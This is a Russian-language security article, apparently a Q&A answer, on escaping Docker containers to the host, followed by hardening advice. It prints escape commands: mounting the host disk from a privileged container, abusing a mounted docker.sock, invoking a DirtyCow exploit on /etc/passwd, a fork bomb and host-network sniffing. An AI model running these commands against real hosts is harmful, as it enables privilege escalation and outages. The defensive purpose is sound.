Как сломать из Docker контейнера основную машину

Понимание угрозы: уязвимости Docker и контейнеров

Первое и главное — вопрос, который вы задаёте, находится на границе этичного тестирования на проникновение и реальных атак. Любое использование этих методов без явного разрешения владельца системы является незаконным. Как DevOps-инженер с опытом, я рассматриваю эту тему исключительно в контексте укрепления безопасности — чтобы понимать векторы атаки и правильно защищать инфраструктуру.

Основная идея: Docker по умолчанию предоставляет контейнеру привилегированный доступ к ядру хоста через механизм namespaces и cgroups, но при неправильной конфигурации эта изоляция может быть нарушена. «Сломать» хост можно в нескольких аспектах: получение root-доступа, DoS-атаки на ресурсы, компрометация сети.

Ключевые векторы атаки и уязвимые конфигурации

1. Запуск контейнера с флагом --privileged

Контейнер получает практически все возможности ядра Linux. Из него можно монтировать файловые системы хоста, работать с устройствами и т.д.

# Пример опасного запуска (НИКОГДА не делайте так в production без крайней необходимости)
docker run --privileged -it ubuntu /bin/bash

Изнутри такого контейнера можно смонтировать корневую файловую систему хоста:

# Внутри контейнера:
mkdir /host_fs
mount /dev/sda1 /host_fs  # или другое блочное устройство
chroot /host_fs

Теперь у вас есть доступ ко всей файловой системе хоста как root.

2. Монтирование чувствительных директорий хоста через -v

Даже без --privileged неправильное монтирование томов даёт доступ к критическим данным.

# Опасный пример: монтирование Docker socket
docker run -v /var/run/docker.sock:/var/run/docker.sock -it ubuntu

# Изнутри контейнера можно установить клиент Docker и управлять демоном хоста
apt update && apt install -y docker.io
docker ps  # Увидит все контейнеры на хосте
docker run --privileged -v /:/host ubuntu  # Запустит новый контейнер с доступом ко всему хосту

3. Использование уязвимостей ядра (DirtyCow, CVE-2022-0185)

Контейнеры используют общее ядро с хостом. Уязвимости в ядре Linux могут позволить эскалацию привилегий.

Пример эксплуатации через контейнер:

# В контейнере с доступом к /proc или другим чувствительным точкам
# может быть запущен эксплойт для уязвимости ядра
./dirtycow_exploit /etc/passwd /etc/passwd.bak

4. Атаки на ресурсы хоста (DoS)

• CPU: docker run --cpus="0.5" ограничивает, но без лимитов контейнер может загрузить все ядра
• Память: без --memory ограничений контейнер может исчерпать память, вызвав OOM-killer
• Диск: заполнение смонтированного тома или внутреннего слоя контейнера
• PID: атака fork-бомбой внутри контейнера

# Пример fork-бомбы внутри контейнера (опасно!)
:(){ :|:& };:

5. Сетевые атаки

Контейнер в сети --network=host видит все сетевые интерфейсы хоста:

docker run --network=host -it ubuntu
# Теперь можно слушать трафик, сканировать порты локальной сети
tcpdump -i eth0

Защитные меры для DevOps инженера

Жёсткая конфигурация Docker Daemon

// /etc/docker/daemon.json
{
  "userns-remap": "default",
  "log-driver": "json-file",
  "log-opts": {
    "max-size": "10m",
    "max-file": "3"
  },
  "live-restore": true,
  "userland-proxy": false,
  "no-new-privileges": true
}

Безопасный запуск контейнеров

# Правильный подход с минимальными привилегиями
docker run \
  --read-only \
  --cap-drop=ALL \
  --cap-add=NET_BIND_SERVICE \
  --security-opt=no-new-privileges \
  --memory=256m \
  --cpus="0.5" \
  -it alpine

Использование Rootless Docker

# Установка rootless mode
dockerd-rootless-setuptool.sh install
systemctl --user start docker
# Теперь демон работает от непривилегированного пользователя

Мониторинг и обнаружение аномалий

• AuditD правила для отслеживания доступа к Docker socket
• Falco для runtime-детектирования подозрительного поведения
• Регулярное обновление Docker Engine и ядра хоста
• Seccomp профили и AppArmor для ограничения syscall

Заключение

Главный принцип безопасности контейнеров — минимальные привилегии. Современные практики (Kubernetes Pod Security Standards, Open Policy Agent, rootless контейнеры) значительно снижают риски, но требуют глубокого понимания механизмов изоляции. Задача DevOps инженера — не только уметь разворачивать контейнеры, но и понимать всю цепочку безопасности, от сборки образа до runtime-защиты в production.